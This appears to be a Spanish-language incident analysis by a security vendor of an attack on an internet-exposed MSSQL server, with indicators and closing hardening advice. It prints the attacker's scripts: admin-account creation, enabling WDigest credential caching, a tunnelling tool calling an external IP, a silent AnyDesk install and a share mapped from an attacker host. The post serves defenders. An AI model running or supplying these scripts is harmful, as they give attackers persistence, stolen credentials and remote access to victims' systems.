Desde el gusano SQL Slammer de 2003, e incluso antes, los servidores de bases de datos MSSQL expuestos a Internet con configuraciones predeterminadas han sido blanco de ataques, y en muchos casos, explotados. Más recientemente, Securonix compartió un aviso de seguridad de investigación de amenazas sobre hackers turcos que atacan servidores MSSQL para distribuir ransomware en toda la empresa.
Gracias a la visibilidad que brinda el agente de Huntress, los analistas del SOC pueden "ver" el uso, o el mal uso, de los servidores MSSQL. Por ejemplo, los esfuerzos proactivos para identificar y reportar servidores MSSQL accesibles desde Internet público han revelado intentos significativos de "fuerza bruta" dirigidos a esos servidores. La instalación predeterminada de estos servidores, sin modificaciones, solo registra los intentos de inicio de sesión fallidos, pero hay entradas de registro que indican cuándo un actor de amenazas ha iniciado sesión con éxito, como el cambio de estado del procedimiento almacenado xp_cmdshell, y procesos secundarios inusuales del proceso sqlservr.exe.
Los analistas del SOC de Huntress recibieron hace poco una alerta sobre un incidente claramente fuera de lo normal en comparación con lo que suele observarse cuando se compromete un servidor MSSQL; específicamente, el uso del comando de copia masiva nativo de MSSQL para extraer un archivo de la base de datos, como se ilustra en la siguiente línea de comandos:
cmd /c bcp "select binaryTable from uGnzBdZbsi" queryout
"C:\users\public\music\<filename>" -T -f
"C:\users\public\music\FODsOZKgAU.txt"
En el incidente observado, se extrajeron varios archivos de la base de datos; dos archivos de script (.ps1, .bat), ambos de los cuales creaban una cuenta de usuario, una copia de la herramienta RMM AnyDesk, y otro archivo por lotes (.bat) para iniciar una herramienta de tunelización y ejecutar AnyDesk. Sin embargo, en este incidente no hubo ningún intento de ejecutar ninguno de los archivos visibles en la telemetría de EDR, ni se encontraron efectos de la ejecución de los archivos en los registros de eventos de Windows, como la creación de la cuenta de usuario. Además, cada uno de los scripts terminaba con una línea que eliminaba el archivo mismo, y en el momento en que se investigaba el incidente, cada uno de los archivos de script se encontró dentro del sistema de archivos del endpoint.
De nuevo, había dos archivos de script que creaban cada uno una cuenta de usuario. El contenido del archivo de script user.ps1 se veía así:
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
$ad = "windows123"
$sifre = ConvertTo-SecureString -String "@@@Win123.." -AsPlainText -Force
$isim = "Windows12"
New-LocalUser -Name $ad -Password $sifre -FullName $isim -Description "Yeni kullanıcı hesabı oluşturuldu."
$grupSID = "S-1-5-32-544"
Add-LocalGroupMember -SID $grupSID -Member $ad
Remove-Item -Path $MyInvocation.MyCommand.Path -Force
Google traduce la frase en turco "Yeni kullanıcı hesabı oluşturuldu" como "nueva cuenta de usuario creada" en inglés. Además, las palabras "sifre" e "isim" también parecen ser turcas, y se traducen como "contraseña" y "nombre", respectivamente.
El contenido del segundo archivo de script, user.bat, se veía así:
net user windows123 @@@Win123.. /add
net localgroup administrators windows123 /add
net localgroup Administradores windows123 /add
net localgroup Administratoren windows123 /add
net localgroup Administrateurs windows123 /add
net localgroup "Remote Desktop Users" windows123 /add
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\wdigest" /v UseLogonCredential /t REG_DWORD /d 0x00000001
del "%~f0"
Un tercer archivo de script, kur.bat, tenía como objetivo iniciar una herramienta de tunelización y AnyDesk:
c:\users\public\music\4.exe --ip "2.57.149[.]233" --port "3377" --install
c:\users\public\music\AD.exe --install C:\"Program Files (x86)"\ --silent
net start "Remote Desktop Configuration Manager"
del "%~f0"
De nuevo, no hubo indicios de que alguno de los archivos extraídos de la base de datos se haya ejecutado o lanzado antes de que los analistas de Huntress notificaran al cliente y tomaran medidas para abordar y remediar el problema. Una de las alertas observadas por los analistas del SOC de Huntress fue una detección y cuarentena de AV administrado (MAV) del archivo 4.exe, y las alertas restantes se basaron en detecciones de procesos por el uso de bcp.exe.
Si bien las tácticas, técnicas y procedimientos (TTPs) observadas en este incidente difieren significativamente de las descritas en el aviso de Securonix, resulta interesante notar el ataque contra el servidor MSSQL, y el uso de palabras turcas como nombres de variables en el archivo de PowerShell user.ps1.
Además, los analistas de Huntress han identificado otros incidentes en los últimos meses que involucran tanto el rango de direcciones IP de clase C 2.57.149.x como servidores MSSQL. A mediados de diciembre, direcciones IP del mismo rango de clase C fueron direcciones IP de origen de intentos fallidos de inicio de sesión en un servidor MSSQL, y a fines de diciembre, se creó una cuenta de usuario en un endpoint que ejecutaba un servidor MSSQL mediante el siguiente comando:
net user admins8 Dadmin@@@!123 /add
Nota la similitud entre las contraseñas de los incidentes de diciembre de 2023 y enero de 2024.
Además, la telemetría de EDR del incidente de fines de diciembre mostró que el actor de amenazas pudo asignar un recurso compartido, desde el endpoint monitoreado por Huntress hacia un endpoint que controlaba, usando el siguiente comando:
cmd /c net use s: \\2.57.149[.]230\a /user:user Paz@123wo
Nota que la dirección IP del endpoint controlado por el actor de amenazas está dentro del mismo rango de clase C que el observado en el incidente de enero.
Conclusión
La higiene básica de TI es la base de un programa de seguridad sólido, y dos de los pasos más importantes son desarrollar un inventario preciso de activos y luego realizar una reducción de la superficie de ataque. Un inventario de activos no consiste solo en sistemas físicos y virtuales, sino también en las aplicaciones y servicios que esos sistemas ofrecen. Las organizaciones necesitan entender qué aplicaciones y servicios están ejecutando, y el riesgo de exponer esos servicios, con configuraciones predeterminadas, a Internet público. La superficie de ataque de una organización se puede reducir significativamente configurando firewalls y routers, y habilitando una arquitectura que garantice que solo se permita tráfico autorizado hacia esos endpoints. Finalmente, todos los endpoints deben estar sujetos a un programa integral de monitoreo, detección y respuesta.